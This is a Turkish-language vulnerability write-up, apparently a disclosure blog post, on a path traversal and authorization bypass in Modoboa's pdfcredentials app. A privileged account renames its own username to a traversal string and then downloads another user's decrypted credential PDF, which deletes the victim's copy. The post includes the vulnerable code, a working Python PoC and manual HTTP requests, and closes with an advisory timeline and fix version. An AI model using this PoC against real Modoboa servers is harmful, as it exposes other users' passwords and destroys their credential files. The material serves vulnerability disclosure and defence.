Çok şey bilen dosya
Modoboa, Django ile yazılmış bir e-posta barındırma ve yönetim platformu: domain'ler, mailbox'lar, alias'lar, kotalar ve bir web paneli. Küçük uygulamalarından biri olan modoboa.pdfcredentials, her hesap için bir PDF üretiyor: web paneli adresi, username ve şifre. Dosya diskte Fernet ile şifreli tutuluyor, API indirme sırasında çözüyor.
İki varsayılan değer hikâye için önemli. generate_at_creation=True, şifreyi hesap oluşturulurken PDF'e yazıyor. delete_first_dl=True, ilk başarılı indirmeden sonra dosyayı siliyor. İkisi de makul ürün kararları. Hiçbiri tek başına açık değil.
# modoboa/pdfcredentials/documents.py:96-100
data = [
["URL", conf["webpanel_url"]],
[_("Username"), account.username],
[_("Password"), password],
]
Diskte şifreli olması dosyayı korur; API'nin yetkili bir indirmeye verdiği yanıtı korumaz. O yüzden asıl soru şu: API, dosyayı çözmeden önce “bu dosya senin mi?” diye soruyor mu? Bunu sormak için önce dosyayı bulması gerekiyor. İşte username tam burada devreye giriyor.
İlk durak: get_creds_filename()
Bir hesabı file path'e çeviren fonksiyon bir solukta okunacak kadar kısa. Bu genelde iyi bir işarettir. Burada da iyi bir işaretti; sadece eksik bir şeyler vardı.
# modoboa/pdfcredentials/lib.py:48-54
storage_dir = os.path.abspath(param_tools.get_global_parameter("storage_dir"))
fname = os.path.abspath(os.path.join(storage_dir, account.username + ".pdf"))
if os.path.dirname(fname) != storage_dir:
raise InternalError(_("Invalid account name: %s") % account.username)
return fname
storage_dir mutlak yol oluyor. os.path.join, account.username + ".pdf" ekliyor. abspath sonucu normalize ediyor. dirname hâlâ storage_dir'a eşit olmalı, yoksa InternalError fırlıyor.
Bu bir path traversal kontrolü gibi görünüyor ve dar anlamda öyle. Kontrol, storage_dir dışına çıkmayı engelliyor. Peki dışarı çıkmamıza gerek yoksa? Hedef zaten aynı klasörde, bizim dosyamızın yanındaysa?
x/../victim@example.com gibi bir username verin:
storage_dir/x/../victim@example.com.pdf
│
├─ abspath() ─→ storage_dir/victim@example.com.pdf
│
└─ dirname() ─→ storage_dir ✓ kontrol geçti
Kontrol, kendisine sorulan soruya cevap veriyor: “Çözülen yol storage_dir içinde mi?” Asıl sormamız gereken soruya cevap vermiyor: “Bu dosya, az önce yetkilendirdiğimiz hesaba mı ait?” Aynı klasördeki başka bir dosya da storage_dir içinde.
Kontrol, klasörden dışarı çıkmayı engelliyor. Aynı klasördeki başka bir dosyayı işaret etmeyi engellemiyor.
Yol matematiği tuttu. Şimdi akla gelen soru şu: account.username içine gerçekten bir slash ve .. koyabiliyor muyuz? Username bir e-posta adresi. Serializer bizi durdurmalı.
Validation gate'te bir boşluk
Hesap oluşturma ve güncelleme WritableAccountSerializer.validate() üzerinden geçiyor. E-posta format kontrolü koşulsuz değil. check_mailbox adlı bir değişkene bağlı.
# modoboa/admin/api/v2/serializers.py:691-704
username = data.get("username")
has_mailbox = self.instance is not None and hasattr(self.instance, "mailbox")
if has_mailbox:
check_mailbox = (
username is not None and username != self.instance.mailbox.full_address
)
else:
# create() and update() create a mailbox
check_mailbox = (
username is not None
and "mailbox" in data
and (not self.instance or bool(data["mailbox"]))
)
if check_mailbox:
self.address, domain_name = email_utils.split_mailbox(username)
...
else bloğuna bakın. Mailbox ilişkisi olmayan bir hesap için has_mailbox yanlış oluyor. Kod, herhangi bir validation yapmadan önce request body'de mailbox anahtarı arıyor. Sadece {"username": "x/../victim@example.com"} gönderirseniz bu koşul yanlış oluyor. E-posta ayrıştırma, domain lookup ve creator.can_access(domain) kontrolü hiç çalışmıyor.
Bloğun üstündeki yorum “create() and update() create a mailbox” diyor. Mailbox'ı olmayan bir DomainAdmin veya Reseller için bu varsayım tam da açığın kendisi.
Sonra değer doğrudan uygulanıyor:
# modoboa/admin/api/v2/serializers.py:829-830
for key, value in validated_data.items():
setattr(instance, key, value)
User.save() varsayılan olarak full_clean() çağırmıyor; model alanı da düz bir CharField:
# modoboa/core/models.py:65
username = CharField(max_length=254, unique=True)
Doğrulayıcı yok. Format kontrolü yok. Path kontrolü yok. Değer veritabanına gidiyor.
Bingo. Slash ve .. içeren bir username'imiz var. Şimdi bunu dosya okumaya çevirecek endpoint lazım.
Yetki benim hesabımda, dosya senin hesabında
Credential indirme endpoint'i GET /api/v2/credentials/{account_id}/. Serializer hesabı URL'den alıyor, çağıranın bu hesaba erişimi olup olmadığına bakıyor, sonra dosya adını hesap nesnesinden üretiyor.
# modoboa/pdfcredentials/api/v2/serializers.py:102-111
account = User.objects.get(pk=data["account_id"])
if not request.user.can_access(account):
raise serializers.ValidationError({"account_id": _("Invalid account")})
fname = get_creds_filename(self.context["account"])
account_id URL'den geliyor. Kendi id'mizi gönderiyoruz, can_access(account) doğru dönüyor. Ama fname, hesabın username'inden geliyor; yani az önce değiştirdiğimiz değerden. Yetki kararı hâlâ nesne id'sine bağlı; dosya ise değişebilen ada bağlı. Artık aynı nesne değiller.
Burada iki zayıflık birleşiyor: CWE-73 (dosya adı veya yolunun dışarıdan kontrolü) ve CWE-639 (kullanıcı kontrolündeki anahtar üzerinden yetki atlatma). Bildirim ikisini de listeliyor. Düz Türkçeyle: path traversal artı object-level authorization hatası.
Bir ayrıntı daha: view'ın izin sınıflarında DjangoModelPermissions var ve queryset domain bazlı (Domain.objects.get_for_admin). Ama bu istekteki object-level karar yukarıdaki can_access çağrısı; ve o hesabı kontrol ediyor, dosyayı değil.
Zincirin tamamı
Bütün akış şöyle. Kendi hesabımızla giriş yapıyoruz, ama dosya adı başka birini gösteriyor.
saldırgan (mailbox'ı olmayan DomainAdmin/Reseller, bearer token)
│
├─ PATCH /api/v2/accounts/<own_id>/
│ {"username": "x/../victim@example.com"}
│ validation gate atlandı → değer kaydedildi
│
├─ GET /api/v2/credentials/<own_id>/
│ can_access(kendi hesabı) = true
│ abspath(storage/x/../victim@example.com.pdf)
│ = storage/victim@example.com.pdf
│ dirname == storage → kontrol geçti
│ decrypt_file() → PDF yanıtı
│
└─ delete_first_dl=True → kurbanın dosyası silinir
Parçaları bir arada tutmakta fayda var:
| Dosya | Satırlar | Ne yapıyor |
|---|---|---|
admin/api/v2/serializers.py | 691-704, 821-870 | Validation gate ve kör setattr |
core/models.py | 65, 323-326 | Düz CharField; privileged rol ObjectAccess |
pdfcredentials/lib.py | 41-54 | Username'den dosya adı; dirname kontrolü |
pdfcredentials/api/v2/serializers.py | 97-119 | can_access, çözme, isteğe bağlı silme |
pdfcredentials/documents.py | 96-100 | PDF içinde düz metin şifre |
Her halka tek başına sıradan: değişebilen bir alan, bir path join, eksik bir full_clean(), verilen nesneyi kontrol eden bir izin kontrolü. Hata, bunların birleştiği yerde.
Preconditions
- Mailbox'ı olmayan privileged bir hesap. DomainAdmin veya Reseller; SimpleUser'da
admin.view_domainyok. Hesabın kendi üzerinde birObjectAccesssatırı olmalı; privileged rol ataması bunu otomatik oluşturuyor (core/models.py:323-326). - Credential PDF'leri açık olmalı.
enabled_pdfcredentialsaçık vestorage_dirtanımlı. - Kurbanın dosyası hâlâ duruyor olmalı. Varsayılan
delete_first_dl=Trueile daha önce indirilmemiş olması gerekiyor.generate_at_creation=True, şifrenin hesap oluşturulurken yazıldığı anlamına geliyor; sonradan değişen şifre eski kalmış olabilir, ama username güncel. - Kurbanın username'i bilinmeli. Dosya adı zaten o.
- Saldırgan için geçerli bir bearer token olmalı. API'de
SessionAuthenticationyok; sadece Django web oturumu yetmiyor. OAuth2 authorization-code + PKCE akışı (PoC bunu yapıyor) veya DRF token kullanılabilir.
PoC: iki istek
Parametreli PoC script'i giriş yapıyor, bearer token alıyor, username'i değiştiriyor, dosyayı indiriyor, hash'i doğruluyor ve finally bloğunda username'i geri alıyor. Saldırının kendisi iki API çağrısı; gerisi OAuth2 trafiği.
$ python3 f004_pdf_traversal.py \
--target https://modoboa.example.com \
--username da@tenant-a.test \
--password '{{password}}' \
--victim reseller@tenant-a.test
def api(session, method, url, token, timeout, scheme="Bearer", **kwargs):
headers = dict(kwargs.pop("headers", {}))
headers["Authorization"] = f"{scheme} {token}"
return session.request(method, url, headers=headers, timeout=timeout, **kwargs)
# ... OAuth2 login, PKCE and /account/me/ handling are above ...
traversal = f"x/../{args.victim}"
renamed = False
try:
Log.info(f"renaming own username to {traversal!r}")
patch = api(
session, "PATCH",
f"{base}/api/v2/accounts/{account_id}/",
token, args.timeout, scheme=scheme,
json={"username": traversal},
)
if patch.status_code != 200:
Log.fail(f"rename rejected: HTTP {patch.status_code}")
return 2
renamed = True
Log.ok("username accepted")
# Do NOT send Accept: application/pdf; DRF content negotiation would
# return 406 before the view runs. The view sets application/pdf itself.
read = api(
session, "GET",
f"{base}/api/v2/credentials/{account_id}/",
token, args.timeout, scheme=scheme,
)
if read.status_code != 200:
Log.fail(f"credential download failed: HTTP {read.status_code}")
return 1
digest = hashlib.sha256(read.content).hexdigest()
disposition = read.headers.get("Content-Disposition", "")
Log.ok(f"received {len(read.content)} bytes (sha256={digest})")
Log.info(f"Content-Disposition: {disposition}")
output = args.output or f"f004-{args.victim}.pdf"
with open(output, "wb") as handle:
handle.write(read.content)
Log.ok(f"document saved to {output}")
finally:
if renamed and not args.no_restore:
api(
session, "PATCH",
f"{base}/api/v2/accounts/{account_id}/",
token, args.timeout, scheme=scheme,
json={"username": original_username},
)
Sırayla ne yapıyor:
- Deployment
/frontend/config.jsonsunuyorsa OAuth2 public client'ı oradan buluyor; sunmuyorsa--client-idve--redirect-urialıyor. - Django oturumu açıyor, 2FA yönlendirmesinde duruyor ve bearer token için authorization-code + PKCE akışını tamamlıyor.
- Hesap id'sini ve mailbox durumunu almak için
/api/v2/account/me/okuyor. - Username'i
x/../{{victim}}yapmak için PATCH atıyor. GET /api/v2/credentials/<own_id>/ile PDF'i indiriyor.- Boyut, SHA-256 ve
Content-Dispositionyazdırıyor; username'i geri alıyor.
Manual Reproduction
Burada havalı bir şey yok. Bu bir özellik ta ki username dosya yoluna dönüşene kadar.
PATCH /api/v2/accounts/{{account_id}}/ HTTP/1.1
Host: {{host}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"username": "x/../{{victim_username}}"}
GET /api/v2/credentials/{{account_id}}/ HTTP/1.1
Host: {{host}}
Authorization: Bearer {{token}}
{{account_id}} iki istekte de saldırganın kendi hesabı. İkinci istekte Accept: application/pdf göndermeyin. DRF'in content negotiation'ı view'dan önce çalışıp 406 döndürüyor. Yanıtın kendisi yine application/pdf:
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="reseller@tenant-a.test.pdf"
Content-Length: 2557
Timeline
| Tarih | Olay |
|---|---|
| 9 Kasım 2026 | Bulgu yerel Docker ortamında uçtan uca doğrulandı; indirilen PDF, kurbanın dosyasının SHA-256'sıyla eşleşti. |
| 17 Kasım 2026 | GHSA-5fv7-wh8q-cmfj yayınlandı; 2.13.0 düzeltmesi hazır. |
Referanslar
Bildirim metni, etkilenen sürümler ve düzeltme için:
